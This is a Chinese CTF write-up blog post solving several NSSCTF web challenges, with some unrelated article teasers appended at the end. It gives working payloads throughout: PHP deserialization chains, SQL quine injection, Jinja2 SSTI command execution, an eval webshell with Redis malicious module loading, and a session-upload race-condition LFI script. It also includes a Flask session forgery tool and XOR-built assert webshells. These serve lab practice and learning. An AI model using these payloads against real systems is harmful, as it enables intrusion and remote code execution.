NSSCTF做题(7)

[第五空间 2021]pklovecloud

反序列化

<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  


class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 

else 

    highlight_file(__file__); 
}
?>

 这道题还是反着来,先去找pop链的尾部,找到尾部之后再往前翻

1.要想读出 flag.php 就要触发 file_get_contents() 函数;

2.要想触发 file_get_contents() 函数就要触发 ace 的 echo_name();

3.寻找 echo_name(),发现 acp 的__toString() 中恰好有这个函数,所以要想触发 ace 的 echo_name() 就要触发 acp 的 __toString() 且使 acp $this->cinder = new ace();

4.acp 实例化时会自动调用 __construct(),所以要想触发 __toString() 就要使 acp $this->cinder=对象,正好与上述分析所需的 $this->cinder = new ace() 相呼应。
 

pop链的构造:

acp->__construct() => acp->__toString() => ace->echo_name() => file_get_contents(flag.php)。

构造过程中有两个需要特别注意的点,一个是从未出现过的$heat变量,一个是unserialize($this->docker)。如何满足$this->openstack->neutron === $this->openstack->nova是这道题的关键。

 同一个类中的两个属性进行强比较,neutron有了赋值且赋值是$heat(整体没有出现)而nova又没有,这种情况下看着是无法相等的,但是这样可以利用null来进行比较,换句话说只要dokcer的类是null,哪无论怎么赋值结果都是null

这样我们就成功的绕过的比较利用到了file_get_contents()函数

<?php
class acp
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct()
    {      
        $this->cinder = new ace;
    }  
}  
class ace
{    
    public $filename='flag.php';
    public $openstack;
    public $docker;
}
$a=new acp();
$b=new ace();
$b->docker=null;
echo urlencode(serialize($a));
?>

上传之后发现flag在另外一个里面,修改一下poc继续上传

发现还是没有

返回到上级目录看看

最后的payload:

O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A19%3A%22..%2Fnssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D 

得到flag

[HNCTF 2022 Week1]Interesting_http 

按给的提示做

应该是传want=flag

 说不是admin

抓包看一下,改了之后

说不在本地,用xff,得到flag

[SWPUCTF 2022 新生赛]ez_rce 

源代码里没什么东西,访问一下index.php

没找到什么,开扫

 扫到了robots.txt,访问一下,发现了访问地址

发现是php thinkv5

 报错发现是5.0.22版本

可以直接去网上找payload

cat flag没出来,发现用../../../../../flag他也出不来

去前面找找看看是不是有什么敏感词,发现了nss

先访问一下这个

接着访问

有flag,cat发现还是没有,再ls

还有一层应该是

得到了flag

[WUSTCTF 2020]朴实无华

抓个包看看

没什么东西,访问robots.txt,发现了fakeflag,

 访问发现提示

郝,找到正牌的了


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>

去非洲吧 

第一关

if(intval($num) < 2020 && intval($num + 1) > 2021){

先看第一题,以GET方式传入参数,传入的num经过intval函数处理后,需要大于2020,且加1后需小于2021。intval函数用于获取变量的整数值,也就无法输入小数绕过 

知识点:PHP弱类型及intval函数使用不当

这里使用intval函数后与2020比较没有问题,但是问题出在与2021比较之前num加了1 

 使用‘2e4’来绕过,intval()会识别为字符串看做整数2,而且php还有个强制转换的机制,如果将一个字符串和一个数字相加,首先php会将字符串转换成数字,然后将两个数字相加。

?num=2e4

第二关

if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))

这里需要满足 一个数和MD5值相等,不能用数组绕过,就用科学计数法,满足开头都是0e就ok

md5=0e215962017

第三关

if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);

 

 以GET方式传入get_flag,传入的参数会执行system。strstr函数检测到空格则返回空格,str_ireplace函数检测到cat替换为wctf2020

空格绕过  ${IFS}  cat绕过 

过了这三关就能得到flag

先看一下根目录

?num=2e4&md5=0e215962017&get_flag=ls

得到flag地址,直接rce得到flag

[第五空间 2021]yet_another_mysql_injection

得到了正经的东西

// 首先 username 必须是admin
if ($username !== 'admin') {
    alertMes('only admin can login', 'index.php');
}

// 其次输入的密码不得在黑名单
function checkSql($s) {
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
        alertMes('hacker', 'index.php');
    }
}
checkSql($password);

// sql查询语句
SELECT password FROM users WHERE username='admin' and password='$password';

// 最后当我们输入的 password 等于 $password 输出flag
if ($row['password'] === $password) {
    die($FLAG);
}

if ($row['password'] === $password) {die($FLAG);} else {alertMes("wrong password",'index.php');

 这个if判断了从数据库中查到的密码是否和用户输入的是一样的,只有完全一致才会得到FLAG,

通过分析发现只有输入正确的密码才能得到FLAG,但是这张表其实是一张空表,所以爆破密码这条路走不通。

那就只有一个办法,就是构造一个输入输出完全一致的语句,就可以绕过限制并得到FLAG

注入的payload;

1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

CTFHUB 2021-第五空间 yet_another_mysql_injection-CSDN博客x

 详细的还是看这位大佬的wp吧,我讲不明白,触及到知识盲区了

得到了flag

[SWPUCTF 2022 新生赛]1z_unserialize 

<?php
class lyh{
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;
     
     function  __destruct()
     {
        $a = $this->lt;

        $a($this->lly);
     }
    
    
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
?> 
 

只需要给下边这两个变量赋值就ok了

    public $lt='system';
    public $lly='cat /flag';

 得到flag

[天翼杯 2021]esay_eval 

<?php
class A{
    public $code = "";
    function __call($method,$args){
        eval($this->code);
        
    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    function __destruct(){
        echo $this->a->a();
    }
}
if(isset($_REQUEST['poc'])){
    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
    if (isset($ret[1])) {
        foreach ($ret[1] as $i) {
            if(intval($i)!==1){
                exit("you want to bypass wakeup ? no !");
            }
        }
        unserialize($_REQUEST['poc']);    
    }


}else{
    highlight_file(__FILE__);
}
 

我们只需要绕过__wakeup

preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
    if (isset($ret[1])) {
        foreach ($ret[1] as $i) {
            if(intval($i)!==1){
                exit("you want to bypass wakeup ? no !");
            }
        }

这里有个过滤

反序列化要绕过wakeup,正常就是改数字,但是这里有个正则过滤

注意匹配的是大写字母,而类的名称大小写即可,于是可以绕过

看到了eval函数,危险函数命令执行,传就行了

 查看phpinfo页面,发现命令执行的东西都被限制了

这里我们使用蚁剑连接

打开蚁剑连接

?poc=O:1:%22b%22:2:{s:1:%22a%22;O:1:%22a%22:1:{s:4:%22code%22;s:16:%22eval($_POST[1]);%22;}}  

Redis加载恶意so获取shell

html目录下有config文件,里面有redis密码

 第一次看到so文件

计算机系统: 共享对象文件(.so文件)详解,全面解析!-CSDN博客

redis配置文件详解_流水武qin的博客-CSDN博客

先在html目录下上传恶意so文件

文件地址

 上传完成后使用蚁剑redis插件连接

 右键执行命令

MODULE LOAD /var/www/html/exp.so
system.exec "命令"

得到flag

[LitCTF 2023]Flag点击就送! 

输入127.0.0.1发现有按钮

点击之后发现要管理员才能拿到

抓包看看能改哪里

通过抓包后,在cookie字段发现了 特殊的东西,前面翻译过来跟题目没有太大关系,所以最后就看session字段,看着不像是base64,burp解码也不行

 

根据题目提示以及这个session知道了这道题要考session伪造

先说一下session的作用:

由于http协议是一个无状态的协议,也就是说同一个用户第一次请求和第二次请求是完全没有关系的,但是现在的网站基本上有登录使用的功能,这就要求必须实现有状态,而session机制实现的就是这个功能。
用户第一次请求后,将产生的状态信息保存在session中,这时可以把session当做一个容器,它保存了正在使用的所有用户的状态信息;这段状态信息分配了一个唯一的标识符用来标识用户的身份,将其保存在响应对象的cookie中;当第二次请求时,解析cookie中的标识符,拿到标识符后去session找到对应的用户的信息。

 session伪造攻击是一种非常流行的针对session的攻击方式.它之所以流行的主要原因是:它是一个攻击者获得一个有效的SESSION ID(标识符)最简单的方法,使用这种方法,可以模仿当前用户的SESSION ID,伪装成这个用户,然后进一步进行SESSION劫持攻击。

flask session的储存方式:

第一种方式:直接存在客户端的cookies中

第二种方式:存储在服务端,如:redis,memcached,mysql,file,mongodb等等,存在flask-session第三方库,flask的session可以保存在客户端的cookie中,那么就会产生一定的安全问题。

flask框架的session若存储在客户端,就需要解决session被恶意纂改的问题,而flask通过一个secret_key,也就是密钥对数据进行签名来防止session被纂改。
 

flask的session格式:

flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串) 、时间戳 、签名组成的。

base64解码发现 是json格式的base64加密

json

 json的全称为:JavaScript Object Notation,是一种轻量级的数据交互格式。

JSON支持数据格式:

json的数据可以用花括号{}或中括号[]包裹,对应js中的object和array

对象:使用花括号
数组:使用方括号
字符串类型:必须使用双引号
整形、浮点型、布尔类型还有null类型
多个数据之间使用逗号分开

json本质上就是一个字符串

要进行session伪造我们就要先得到secret_key,这里猜测key为LitCTF(题目)

脚本是借鉴的大佬的

#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
 
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
 
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod
 
# Lib for argument parsing
import argparse
 
# external Imports
from flask.sessions import SecureCookieSessionInterface
 
class MockApp(object):
 
    def __init__(self, secret_key):
        self.secret_key = secret_key
 
 
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)
 
                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)
 
                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e
 
 
        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value
 
                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]
 
                    data = payload.split(".")[0]
 
                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)
 
                    return data
                else:
                    app = MockApp(secret_key)
 
                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)
 
                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)
 
                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)
 
                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e
 
 
        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value
 
                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]
 
                    data = payload.split(".")[0]
 
                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)
 
                    return data
                else:
                    app = MockApp(secret_key)
 
                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)
 
                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
 
 
if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")
 
    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
 
    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)
 
    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)
 
    ## get args
    args = parser.parse_args()
 
    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))
 

这个1.py就是我的脚本

 

 得到flag

 [SWPUCTF 2022 新生赛]where_am_i

题目的提示

电话号是11位的,之前好像做过类似的题,属于社工类吧

用识图看一看

在百度识图找到,古迹酒店

搜一下

看着还是像的 电话号码也是11位

 输入纯数字的电话号码,得到flag

[NISACTF 2022]middlerce 

正则过滤了换行符和异或符号,所以考虑利用preg_match本身回身回溯超过1000000会返回false绕过。

脚本

import requestspayload = '{"cmd":"cmd", "a":"'+'#'*1000000+'"}'
res = requests.post("http://node4.anna.nssctf.cn:28764/",data = {"letter":payload})
print(res.text)

脚本发个包,发现没有返回再加把油喔,说明preg_match()函数被成功绕过了。 

然后就是考虑【命令】如何绕过checkdata()函数检测的问题了。

这题是黑盒,也可以自己fuzz,结果不变。

过滤的很死,依靠函数执行命令行不通了。那么命令执行我们就采用短标签+反引号。

?><?= `nl /f*`?> 

最终的payload

import requestspayload = '{"cmd":"?><?= `nl /f*`?>", "a":"'+'#'*1000000+'"}'
res = requests.post("http://node4.anna.nssctf.cn:28764/",data = {"letter":payload})
print(res.text)

得到flag

 [SWPUCTF 2022 新生赛]numgame

 发现页面除了能点加减号以外什么都干不了

抓个包发现了js代码

还是要看看源代码,在侧边栏打开更多工具,打开网页源代码

在源代码里找到了一个base64编码,解码看看

是一个php页面,打开

得到了代码

 

 打开hint2.php

这道题目的切入点在

call_user_func($_GET['p']);

这个位置

这个是把第一个参数作为回调函数使用

 这一题类似于以下这个例子

这里调用的类方法是

Echo “hello”

调用的格式为

myclass::say_hello

那么回到刚刚那个题目

用nss2就可以回调就可以看到flag了应该

这里只有以恶搞类nss这个类中有一个函数可以调用就是include(‘hint2.php’)

可以试验一下看看能不能调用

这里还要学习一个新的运算符  ::双冒号运算符

我们可以直接利用双冒号运算符去访问类中的方法,因为正则表达式中匹配到了n和c,但是用到的修饰符是/m多文本匹配,所以我们可以采用大小写看能否绕过,所以构造payload

用nss发现这个 ,那就用nss2就可以了

得到flag

 [NISACTF 2022]is secret

 扫描后得/secret

告诉我你的秘密我会加密它

应该是要进行一个传参,随便传一个数进去会返回一个不一样的字符,传入该字符又得回原来的数,猜测应该是一个对称加密,但这远远不知道是什么

题目标签是ssti,尝试用{{7*7}}注入

进到了这个页面里

找到了源码文件

if(secret==None):#判断是否为空
        return 'Tell me your secret.I will encrypt it so others can\'t see'
    rc=rc4_Modified.RC4("HereIsTreasure")   #对传入的内容进行rc4解密,密钥为HereIsTreasure
    deS=rc.do_crypt(secret)
 
    a=render_template_string(safe(deS))#对rc4解密后的内容进行safe安全检测,最后进行字符串渲染
 
    if 'ciscn' in a.lower():
        return 'flag detected!'
    return a

 要先rce加密,密钥为HereIsTreasure

网上找到脚本尝试{{7*7}} 加密

import base64
from urllib import parsedef rc4_main(key="init_key", message="init_message"):  # 返回加密后得内容s_box = rc4_init_sbox(key)crypt = str(rc4_excrypt(message, s_box))return cryptdef rc4_init_sbox(key):s_box = list(range(256))j = 0for i in range(256):j = (j + s_box[i] + ord(key[i % len(key)])) % 256s_box[i], s_box[j] = s_box[j], s_box[i]return s_boxdef rc4_excrypt(plain, box):res = []i = j = 0for s in plain:i = (i + 1) % 256j = (j + box[i]) % 256box[i], box[j] = box[j], box[i]t = (box[i] + box[j]) % 256k = box[t]res.append(chr(ord(s) ^ k))cipher = "".join(res)return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))key = "HereIsTreasure"  # 此处为密文
message = input("请输入明文:\n")
enc_base64 = rc4_main(key, message)
enc_init = str(base64.b64decode(enc_base64), 'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:" + enc_url)
# print("rc4加密后的base64编码"+enc_base64)

发现存在ssti注入

实行文件读写和命令执行的基本操作:获取基本类->获取基本类的子类->在子类中找到关于命令执行和文件读写的模块。本质就是通过python 的对象的继承来一步步实现文件读取和命令执行的。 

{{config.__class__.__init__.__globals__['os'].popen('cat /f*').read()}}

config在这个代码片段中,使用config作为占位符是因为这个变量在模板渲染时已经存在

class返回当前类

init初始化类

globals对包含函数全局变量的字典的引用,所有的函数都会有一个__globals__属性,它会以一个 dict ,返回函数所在模块命名空间中的所有变量

.popen()方法的操作系统中打开一个子进程,并执行cat /f*的命令
更多有关 Jinja2引擎的魔术方法参考:

[CISCN 2019华东南]Double Secret-CSDN博客

最后的payload:

?secret=.%14%19V¥%09%0DglÓç%2C½¾÷»'¬kz%C2%88mé|%03%C2%85%07¶%1Có%0Dà!%C2%84O×%04â%17Û%40%C2%9D%C2%82ñ*3ó%0Aª%C2%ADCb*¬)m%C2%83%7F%07Âó%0DX»%C2%86%1C»Mr%0D*ô

[第五空间 2021]EasyCleanup

 代码审计

 Docker PHP裸文件本地包含综述 | 离别歌

phpinfo LFI-本地临时文件包含_php 临时文件包含_amingMM的博客-CSDN博客 

当 mode=eval 时,若 shell 无值,则执行phpinfo(); 若有值则经过滤后执行shell值的代码;file有值时经过滤后进行文件包含。所以攻击点有两个,一个是变量 shell 的 RCE ,一个是 file 的文件包含,由于 shell 变量需要经过filter($shell) | checkNums($shell),限制太多,想要通过 RCE 得到 flag 几乎无从下手,于是我们考虑从file寻找攻击点

PHP LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件,例如 session 文件、日志文件、临时文件等。但是,只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。假如在服务器上找不到我们可以包含的文件,那该怎么办?此时可以通过利用一些技巧让服务存储我们恶意生成的文件,该文件包含我们构造的的恶意代码,此时服务器就存在我们可以包含的文件了。

首先看利用最方便的日志文件包含,日志文件目录路径一般过长,会被过滤掉而无法包含
session文件包含

然后尝试用session文件包含,一般利用GET传参将我们构造好的恶意代码传入session中的,但没有 GET 传参还能往 session 中写入代码吗?当然可以,php 5.4后添加了 session.upload_progress 功能,这个功能开启意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中,利用这个特性可以将恶意语句写入session文件。

访问/?mode=eval查看 phpinfo 内容,定位到 session 相关的信息,标注箭头处是比较关键的信息

 

那么讲解一下关键选项

        session.auto_start:如果 session.auto_start=On ,则PHP在接收请求的时候会自动初始化 Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。但session还有一个默认选项,session.use_strict_mode默认值为 off。此时用户是可以自己定义 Session ID 的。比如,我们在 Cookie 里设置 PHPSESSID=ph0ebus ,PHP 将会在服务器上创建一个文件:/tmp/sess_ph0ebus”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的 session.upload_progress.name 值组成,最后被写入 sess_ 文件里。
        session.save_path:负责 session 文件的存放位置,后面文件包含的时候需要知道恶意文件的位置,如果没有配置则不会生成session文件
        session.upload_progress_enabled:当这个配置为 On 时,代表 session.upload_progress 功能开始,如果这个选项关闭,则这个方法用不了
        session.upload_progress_cleanup:这个选项默认也是 On,也就是说当文件上传结束时,session 文件中有关上传进度的信息立马就会被删除掉;这里就给我们的操作造成了很大的困难,我们就只能使用条件竞争(Race Condition)的方式不停的发包,争取在它被删除掉之前就成功利用
        session.upload_progress_name:当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控
        session.upload_progress_prefix:它+session.upload_progress_name 将表示为 session 中的键名

综上所述,这种利用方式需要满足下面几个条件:

    目标环境开启了session.upload_progress.enable选项
    发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段
    请求的Cookie中包含Session ID

    注意的是,如果我们只上传一个文件,这里也是不会遗留下Session文件的,所以表单里必须有两个以上的文件上传。
这里还是用大佬的脚本,在这一块还是差的太多了

# -*- coding: utf-8 -*-
import io
import requests
import threadingmyurl = 'http://node4.anna.nssctf.cn:28628'
sessid = '7t0'
myfile = io.BytesIO(b'hakaiisu' * 1024)
writedata = {"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('tac /nssctfasdasdflag');?>"}
mycookie = {'PHPSESSID': sessid}def writeshell(session):while True:resp = requests.post(url=myurl, data=writedata, files={'file': ('hakaiisu.txt', 123)}, cookies=mycookie)def getshell(session):while True:payload_url = myurl + '?file=' + '/tmp/sess_' + sessidresp = requests.get(url=payload_url)if 'upload_progress' in resp.text:print(resp.text)breakelse:passif __name__ == '__main__':session = requests.session()writeshell = threading.Thread(target=writeshell, args=(session,))writeshell.daemon = Truewriteshell.start()getshell(session)

 

[SWPUCTF 2022 新生赛]ez_ez_unserialize

简单的一道反序列化构造

要绕过一个__wakeup(),

改成员数量大于实际成员数量就行了

O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

最终的payload:O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

得到flag

[HUBUCTF 2022 新生赛]HowToGetShell

属于无字母rce

异或,取反,自增,脚本,4种方式可供选择

我采取的是用异或的方式 这里的异或是指的php的按位异或,在php中两个字符进行异或后还是一个字符。所以我们可以选择两个不是字母的字符,将它对应的ascii码值进行异或运算后得到我们想要的字母。
假如我们现在想要字母E,E对应的ASCII码值为01000101,我选择了>{进行异或得到E。

这个选法不是固定的,只要两个非字母的字符进行异或得到想要的字母都可以。
按照这个思路我们就可以开始构造了。因为php5中的assert函数会将括号里面的字符串当作php代码来执行。因此我们可以构造出assert($_GET[6])
来获取flag。构造结果如下:

a:'%40'^'%21' ;s:'%7B'^'%08' ; e:'%7B'^'%1E' ; r:'%7E'^'%0C' ; t:'%7C'^'%08'
G:'%3C'^'%7B';E:'%3E'^'%7B';T:'%0B'^'%5F';
//拼接起来
$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');  // $_=assert
$_1='_'.('%3C'^'%7B').('%3E'^'%7B').('%0B'^'%5F');//$_1=_GET
$_2=$$_1; #$_2=$_GET
$_($_2[6]);  //assert($_GET[6])

把上面的构造放一排就可以了。

 [HUBUCTF 2022 新生赛]HowToGetShell题解_dockerere的博客-CSDN博客

推荐这篇博客给大家

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/153540.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

《要么孤独 要么庸俗》 笔记

人往往比自己想象的更愚蠢 我的生存原则或意志行事原则是什么&#xff1f;尝试考察自己的生命年轮 一个明智的人不会被表面稳定现象欺骗&#xff0c;还能预测事物发展趋向 由于只能理解结果而不是原因&#xff0c;会错误的认为结果会一直持续下去 很多事情需要时间来兑现&#…

【高级语言程序设计】python函数式编程(一)

基础知识 Python函数式编程的主要内容包括以下几个方面&#xff1a; (1)函数作为一等公民&#xff1a;在函数式编程中&#xff0c;函数被视为一等公民&#xff0c;可以像其他数据类型一样被传递、赋值以及作为返回值。 (2)不可变数据&#xff1a;函数式编程鼓励使用不可变数据…

docker安装wiki

1.docker pull mediawiki 2.docker run -d --name mywiki -p 8666:80 mediawiki 访问ip:8666,就可以看到配置页面了 3.docker pull mysql docker run -d --name my-mysql -e MYSQL_ROOT_PASSWORD123456 -p 3307:3306 mysql 4.在配置页面链接ip:3307,连接数据库&#xff0c;接下…

C++QT-day3

#include <iostream> /*设计一个Per类&#xff0c;类中包含私有成员:姓名、年龄、* 指针成员身高、体重&#xff0c;再设计一个Stu类&#xff0c;* 类中包含私有成员:成绩、Per类对象p1&#xff0c;* 设计这两个类的构造函数、析构函数和拷贝构造函数。*/ using namespac…

二维码解码文字或者链接怎么做?二维码分解内容的方法

当需要提取出二维码中的文字或者链接时该如何处理呢&#xff1f;一般想要获取二维码中的文本/链接内容可以使用二维码解码&#xff08;二维码解码器在线-二维码图片解码-二维码转短链接生成器-机智熊二维码&#xff09;工具来处理&#xff0c;只需要上传二维码图片就可以自动识…

【git merge/rebase】详解合并代码、解决冲突

目录 1.概述 2.merge 3.rebase 4.merge和rabase的区别 5.解决冲突 1.概述 在实际开发中&#xff0c;一个项目往往是多个人一起协作的&#xff0c;头天下班前大家把代码交到远端仓库&#xff0c;第二天工作的第一件事情都是从服务器上拉最新的代码&#xff0c;保证代码版本…

CSS 布局案例: 2行、多行每行格数不定,最后一列对齐

布局期望的效果如下&#xff1a; 第二行最后一格与第一行最后一格对齐。每行格数不定。自动拉伸填充整个宽度 实现&#xff1a; 一开始打算用display:flex&#xff0c; 自动分散&#xff0c;但是第二行对齐第一行最后一格控制不了。 使用grid fr均分单位控制。 <!DOCTYPE…

智能AI创作系统ChatGPT详细搭建教程/AI绘画系统/支持GPT联网提问/支持Prompt应用/支持国内AI模型

一、智能AI创作系统 SparkAi创作系统是基于OpenAI很火的ChatGPT进行开发的Ai智能问答系统&#xff0c;支持OpenAI GPT全模型国内AI全模型。本期针对源码系统整体测试下来非常完美&#xff0c;可以说SparkAi是目前国内一款的ChatGPT对接OpenAI软件系统。那么如何搭建部署AI创作…

Scala第二十章节

Scala第二十章节 scala总目录 文档资料下载 章节目标 理解Akka并发编程框架简介掌握Akka入门案例掌握Akka定时任务代码实现掌握两个进程间通信的案例掌握简易版spark通信框架案例 1. Akka并发编程框架简介 1.1 Akka概述 Akka是一个用于构建高并发、分布式和可扩展的基于事…

途虎养车上市、京东养车“震虎”,如何突围汽车后市场?

“汽车后市场第一股”终于来了&#xff01; 赶在十一黄金周之前&#xff0c;途虎养车股份有限公司(09690.HK&#xff0c;下称“途虎养车”)于9月26日挂牌港交所&#xff0c;开盘价为28港元/股&#xff0c;与发行价持平&#xff1b;IPO首日报收29.50港元/股&#xff0c;涨幅5.3…

2023年中国烹饪机器人市场发展概况分析:整体规模较小,市场仍处于培育期[图]

烹饪机器人仍属于家用电器范畴&#xff0c;是烹饪小家电的进一步细分&#xff0c;它是烹饪小家电、人工智能和服务机器在厨房领域的融合。烹饪机器人是一种智能化厨房设备&#xff0c;可以根据预设的程序实现自动翻炒和烹饪&#xff0c;是多功能料理机和炒菜机结合的产物。 烹…

Android NFC开发详解:NFC读卡实例解析及总结

文章目录 前言一、什么是NFC&#xff1f;二、基础知识1.什么是NDEF&#xff1f;2.NFC技术的操作模式3.标签的技术类型4.实现方式的分类5.流程三、获取标签内容1.检查环境2.获取NFC标签2.1 Manifest中注册的方式获取Tag2.1 前台Activity捕获的方式获取Tag四、解析标签数据1. M1…

Tomcat 9.0.41在IDEA中乱码问题(IntelliJ IDEA 2022.1.3版本)

1. 乱码的产生是由于编码和解码的编码表不一致引起的。 2. 排查乱码原因 2.1 在idea中启动Tomcat时控制台乱码排查 Tomcat输出日志乱码: 首先查看IDEA控制台&#xff0c;检查发现默认编码是GBK。 再查看Tomcat日志&#xff08;conf文件下logging.properties&#xff09;的默…

安全性第一!OpenWRT配置SFTP远程文件传输,实现数据安全保护

